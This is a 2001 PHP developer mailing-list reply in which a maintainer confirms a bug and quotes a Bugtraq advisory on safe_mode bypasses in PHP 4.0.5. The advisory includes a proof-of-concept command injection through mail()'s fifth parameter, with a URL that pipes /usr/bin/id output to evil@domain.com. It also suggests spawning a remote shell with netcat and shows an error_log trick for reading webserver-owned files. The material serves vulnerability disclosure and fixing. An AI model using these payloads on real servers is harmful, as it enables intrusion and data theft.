Re: Safe mode hole in mail()

On Mon, 2 Jul 2001, Jan Lehnardt wrote: > Hi, > has this been recognized already? a quick look on the archives said no. Yes, this is valid. I will fix this tonight. (The first problem) Derick > > <snip> > Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm > Precedence: bulk > List-Id: <bugtraq.list-id.securityfocus.com> > List-Post: <mailto:bugtraq@securityfocus.com> > List-Help: <mailto:bugtraq-help@securityfocus.com> > List-Unsubscribe: > <mailto:bugtraq-unsubscribe@securityfocus.com> > List-Subscribe: > <mailto:bugtraq-subscribe@securityfocus.com> > Delivered-To: mailing list bugtraq@securityfocus.com > Delivered-To: moderator for bugtraq@securityfocus.com > Date: Sat, 30 Jun 2001 12:40:06 +0200 > From: Joost Pol <joost@contempt.nl> > To: bugtraq@securityfocus.com > Subject: php breaks safe mode > User-Agent: Mutt/1.2.5i > X-Keywords: > X-UID: 156 > > Laberatoire Contempt > > Date : 12/06/2001 > Author : Joost Pol alias 'Nohican' (joost@contempt.nl) > Impact : Minor in most cases. > > Subject : PHP safe_mode troubles. > > 1. PHP Version 4.0.5 breaks safe-mode. > > 1.0 - Description of the problem > > An extra 5th parameter was added to the mail() command breaking > safemode: > > - snippet of the code in mail.c (lines 156-165) > > if (extra_cmd != NULL) { > sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2); > strcpy (sendmail_cmd, sendmail_path); > strcat (sendmail_cmd, " "); > strcat (sendmail_cmd, extra_cmd); > } else { > sendmail_cmd = sendmail_path; > } > sendmail = popen(sendmail_cmd, "w"); > } } > > - end of code snippet > > The popen() function is the C library function popen(3). > > An attacker could easily upload a simple evil.php script containing: > > <? mail("foo@bar,"foo","bar","",$bar); ?> > > Then the script could be invoked using a simple query like: > > http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com > > 1.1 Impact > > Well, first of all it renders an important part of safe_mode useless. > > Two examples come to mind: > > 1.1.1 Example 1 > > A customer has bougt some web space from a provider and is given > only > ftp access to upload his files. The customer is not supposed to have > shell access nor view files outside of his home directory. > > The customer could easily upload and compile a "lite" version of the > > popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make > install) and spawn him self a remote shell on the hosting boxen. > > If something like suexec is not used by the provider, the shell > spawned > could in fact be a "nobody" (uid of webserver) shell. This could > make > the situation even worse. > > Situations where (virtual) hosting machines are used in a host-based > authentication scheme, i am not even willing to *consider*. > > 1.1.2 Example 2 > > A customer has bought some web space from a provider and was given > a shell account on the hosting boxen. > > If something similiar to suexec is not running the customer could > spawn > him self a nobody (www, web, uid of webserver) shell. (1.1.1) > > The impact of this varies on a per setup/provider basis. > > Most providers just dont *expect* someone to have a shell with the > uid > of the webserver on the hosting box. > > "Internal" scripts, database schemes and database password are > commonly > (but sadly) left owned by the uid/gid of the webserver. These become > vulnerable. > > Even webserver configuration files (httpd.conf) and *complete* > webserver > roots owned by the uid/gid of the webserver have been observed in > the wild. > > Experience learns that when unexepected-nobody access is gained on a > (virtual) hosting machine "bad" things are bound to happen sooner or > later. > > 1.2 - Solution > > Well, obviously just a "slip" of the PHP-team. > > 5th argument to mail() should not be honored in safe_mode. (MHO) > > > 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode. > > > 2.0 - Description of the problem > > PHP safe_mode has the nice feature of disallowing the opening/reading > and writing to files that are not owned by the uid that the script > is owned by. > > Though using some "common sense" it still is possible to open/read > and write to files that are owned by the uid the webserver is > running as. > > *notice* assuming that something like suexec is not in place */notice* > > An attacker could upload a simple script that does the following: > > <? > $cmd = '<? showsource($foo); ?>'; > error_log($cmd,3,"/path/to/user/wwwspace/nobody.php"); > ?> > > For example, assuming that the error_log is owned by the webserver it > could be read using a simple query: > > > http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log > > 2.1 - Impact > > Depends on the setup of the hosting box. > > If suexec or something similiar is used, impact is nihil. > > See also 1.1.1/1.1.2 > > 2.3 - Solution > > Disallow the changing of the error_log location in safe_mode? > > Not really for me to say, the PHP-team will come with something good. > > Notice: just changing the error_log function wont do, you could also > change the ini setting error_log (or another ini setting > that has a similiar effect). > > These ini settings can be set from a user script since they > all have PHP_INI_ALL perimissions. > > Maybe disallow setting of ini variables in safemode? > > EOF > > -- > Joost Pol alias 'Nohican' <joost@contempt.nl> PGP 584619BD > PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD > Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625 > > </snip> > > Jan > -- > > -- > PHP Development Mailing List <http://www.php.net/> > To unsubscribe, e-mail: php-dev-unsubscribe@lists.php.net > For additional commands, e-mail: php-dev-help@lists.php.net > To contact the list administrators, e-mail: php-list-admin@lists.php.net > Derick Rethans --------------------------------------------------------------------- PHP: Scripting the Web - www.php.net - derick@php.net SRM: Site Resource Manager - www.vl-srm.net ---------------------------------------------------------------------